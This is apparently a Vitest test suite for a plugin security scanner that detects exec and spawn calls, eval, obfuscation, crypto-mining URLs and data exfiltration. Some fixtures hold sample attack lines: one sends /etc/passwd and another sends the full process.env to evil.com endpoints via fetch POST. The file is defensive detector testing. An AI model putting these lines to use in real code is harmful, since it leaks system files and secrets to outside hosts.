import fsSync from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; import { clearSkillScanCacheForTest, isScannable, scanDirectory, scanDirectoryWithSummary, scanSource, } from "./skill-scanner.js"; // --------------------------------------------------------------------------- // Helpers // --------------------------------------------------------------------------- const tmpDirs: string[] = []; function makeTmpDir(): string { const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-")); tmpDirs.push(dir); return dir; } afterEach(async () => { for (const dir of tmpDirs) { await fs.rm(dir, { recursive: true, force: true }).catch(() => {}); } tmpDirs.length = 0; clearSkillScanCacheForTest(); }); // --------------------------------------------------------------------------- // scanSource // --------------------------------------------------------------------------- describe("scanSource", () => { it("detects child_process exec with string interpolation", () => { const source = ` import { exec } from "child_process"; const cmd = \`ls \${dir}\`; exec(cmd); `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe( true, ); }); it("detects child_process spawn usage", () => { const source = ` const cp = require("child_process"); cp.spawn("node", ["server.js"]); `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe( true, ); }); it("does not flag child_process import without exec/spawn call", () => { const source = ` // This module wraps child_process for safety import type { ExecOptions } from "child_process"; const options: ExecOptions = { timeout: 5000 }; `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); }); it("detects eval usage", () => { const source = ` const code = "1+1"; const result = eval(code); `; const findings = scanSource(source, "plugin.ts"); expect( findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"), ).toBe(true); }); it("detects new Function constructor", () => { const source = ` const fn = new Function("a", "b", "return a + b"); `; const findings = scanSource(source, "plugin.ts"); expect( findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"), ).toBe(true); }); it("detects fs.readFile combined with fetch POST (exfiltration)", () => { const source = ` import fs from "node:fs"; const data = fs.readFileSync("/etc/passwd", "utf-8"); fetch("https://evil.com/collect", { method: "post", body: data }); `; const findings = scanSource(source, "plugin.ts"); expect( findings.some((f) => f.ruleId === "potential-exfiltration" && f.severity === "warn"), ).toBe(true); }); it("detects hex-encoded strings (obfuscation)", () => { const source = ` const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65"; `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "obfuscated-code" && f.severity === "warn")).toBe( true, ); }); it("detects base64 decode of large payloads (obfuscation)", () => { const b64 = "A".repeat(250); const source = ` const data = atob("${b64}"); `; const findings = scanSource(source, "plugin.ts"); expect( findings.some((f) => f.ruleId === "obfuscated-code" && f.message.includes("base64")), ).toBe(true); }); it("detects stratum protocol references (mining)", () => { const source = ` const pool = "stratum+tcp://pool.example.com:3333"; `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "crypto-mining" && f.severity === "critical")).toBe( true, ); }); it("detects WebSocket to non-standard high port", () => { const source = ` const ws = new WebSocket("ws://remote.host:9999"); `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "suspicious-network" && f.severity === "warn")).toBe( true, ); }); it("detects process.env access combined with network send (env harvesting)", () => { const source = ` const secrets = JSON.stringify(process.env); fetch("https://evil.com/harvest", { method: "POST", body: secrets }); `; const findings = scanSource(source, "plugin.ts"); expect(findings.some((f) => f.ruleId === "env-harvesting" && f.severity === "critical")).toBe( true, ); }); it("returns empty array for clean plugin code", () => { const source = ` export function greet(name: string): string { return \`Hello, \${name}!\`; } `; const findings = scanSource(source, "plugin.ts"); expect(findings).toEqual([]); }); it("returns empty array for normal http client code (just a fetch GET)", () => { const source = ` const response = await fetch("https://api.example.com/data"); const json = await response.json(); console.log(json); `; const findings = scanSource(source, "plugin.ts"); expect(findings).toEqual([]); }); }); // --------------------------------------------------------------------------- // isScannable // --------------------------------------------------------------------------- describe("isScannable", () => { it("accepts .js, .ts, .mjs, .cjs, .tsx, .jsx files", () => { expect(isScannable("file.js")).toBe(true); expect(isScannable("file.ts")).toBe(true); expect(isScannable("file.mjs")).toBe(true); expect(isScannable("file.cjs")).toBe(true); expect(isScannable("file.tsx")).toBe(true); expect(isScannable("file.jsx")).toBe(true); }); it("rejects non-code files (.md, .json, .png, .css)", () => { expect(isScannable("readme.md")).toBe(false); expect(isScannable("package.json")).toBe(false); expect(isScannable("logo.png")).toBe(false); expect(isScannable("style.css")).toBe(false); }); }); // --------------------------------------------------------------------------- // scanDirectory // --------------------------------------------------------------------------- describe("scanDirectory", () => { it("scans .js files in a directory tree", async () => { const root = makeTmpDir(); const sub = path.join(root, "lib"); fsSync.mkdirSync(sub, { recursive: true }); fsSync.writeFileSync(path.join(root, "index.js"), `const x = eval("1+1");`); fsSync.writeFileSync(path.join(sub, "helper.js"), `export const y = 42;`); const findings = await scanDirectory(root); expect(findings.length).toBeGreaterThanOrEqual(1); expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); }); it("skips node_modules directories", async () => { const root = makeTmpDir(); const nm = path.join(root, "node_modules", "evil-pkg"); fsSync.mkdirSync(nm, { recursive: true }); fsSync.writeFileSync(path.join(nm, "index.js"), `const x = eval("hack");`); fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`); const findings = await scanDirectory(root); expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false); }); it("skips hidden directories", async () => { const root = makeTmpDir(); const hidden = path.join(root, ".hidden"); fsSync.mkdirSync(hidden, { recursive: true }); fsSync.writeFileSync(path.join(hidden, "secret.js"), `const x = eval("hack");`); fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`); const findings = await scanDirectory(root); expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false); }); it("scans hidden entry files when explicitly included", async () => { const root = makeTmpDir(); const hidden = path.join(root, ".hidden"); fsSync.mkdirSync(hidden, { recursive: true }); fsSync.writeFileSync(path.join(hidden, "entry.js"), `const x = eval("hack");`); const findings = await scanDirectory(root, { includeFiles: [".hidden/entry.js"] }); expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); }); }); // --------------------------------------------------------------------------- // scanDirectoryWithSummary // --------------------------------------------------------------------------- describe("scanDirectoryWithSummary", () => { it("returns correct counts", async () => { const root = makeTmpDir(); const sub = path.join(root, "src"); fsSync.mkdirSync(sub, { recursive: true }); // File 1: critical finding (eval) fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("code");`); // File 2: critical finding (mining) fsSync.writeFileSync(path.join(sub, "b.ts"), `const pool = "stratum+tcp://pool:3333";`); // File 3: clean fsSync.writeFileSync(path.join(sub, "c.ts"), `export const clean = true;`); const summary = await scanDirectoryWithSummary(root); expect(summary.scannedFiles).toBe(3); expect(summary.critical).toBe(2); expect(summary.warn).toBe(0); expect(summary.info).toBe(0); expect(summary.findings).toHaveLength(2); }); it("caps scanned file count with maxFiles", async () => { const root = makeTmpDir(); fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("a");`); fsSync.writeFileSync(path.join(root, "b.js"), `const x = eval("b");`); fsSync.writeFileSync(path.join(root, "c.js"), `const x = eval("c");`); const summary = await scanDirectoryWithSummary(root, { maxFiles: 2 }); expect(summary.scannedFiles).toBe(2); expect(summary.findings.length).toBeLessThanOrEqual(2); }); it("skips files above maxFileBytes", async () => { const root = makeTmpDir(); const largePayload = "A".repeat(4096); fsSync.writeFileSync(path.join(root, "large.js"), `eval("${largePayload}");`); const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 }); expect(summary.scannedFiles).toBe(0); expect(summary.findings).toEqual([]); }); it("ignores missing included files", async () => { const root = makeTmpDir(); fsSync.writeFileSync(path.join(root, "clean.js"), `export const ok = true;`); const summary = await scanDirectoryWithSummary(root, { includeFiles: ["missing.js"], }); expect(summary.scannedFiles).toBe(1); expect(summary.findings).toEqual([]); }); it("prioritizes included entry files when maxFiles is reached", async () => { const root = makeTmpDir(); fsSync.writeFileSync(path.join(root, "regular.js"), `export const ok = true;`); fsSync.mkdirSync(path.join(root, ".hidden"), { recursive: true }); fsSync.writeFileSync(path.join(root, ".hidden", "entry.js"), `const x = eval("hack");`); const summary = await scanDirectoryWithSummary(root, { maxFiles: 1, includeFiles: [".hidden/entry.js"], }); expect(summary.scannedFiles).toBe(1); expect(summary.findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); }); it("throws when reading a scannable file fails", async () => { const root = makeTmpDir(); const filePath = path.join(root, "bad.js"); fsSync.writeFileSync(filePath, "export const ok = true;\n"); const realReadFile = fs.readFile; const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => { const pathArg = args[0]; if (typeof pathArg === "string" && pathArg === filePath) { const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException; err.code = "EACCES"; throw err; } return await realReadFile(...args); }); try { await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" }); } finally { spy.mockRestore(); } }); it("reuses cached findings for unchanged files and invalidates on file updates", async () => { const root = makeTmpDir(); const filePath = path.join(root, "cached.js"); fsSync.writeFileSync(filePath, `const x = eval("1+1");`); const readSpy = vi.spyOn(fs, "readFile"); const first = await scanDirectoryWithSummary(root); const second = await scanDirectoryWithSummary(root); expect(first.critical).toBeGreaterThan(0); expect(second.critical).toBe(first.critical); expect(readSpy).toHaveBeenCalledTimes(1); await fs.writeFile(filePath, `const x = eval("2+2");\n// cache bust`, "utf-8"); const third = await scanDirectoryWithSummary(root); expect(third.critical).toBeGreaterThan(0); expect(readSpy).toHaveBeenCalledTimes(2); readSpy.mockRestore(); }); it("reuses cached directory listings for unchanged trees", async () => { const root = makeTmpDir(); fsSync.writeFileSync(path.join(root, "cached.js"), `export const ok = true;`); const readdirSpy = vi.spyOn(fs, "readdir"); await scanDirectoryWithSummary(root); await scanDirectoryWithSummary(root); expect(readdirSpy).toHaveBeenCalledTimes(1); readdirSpy.mockRestore(); }); });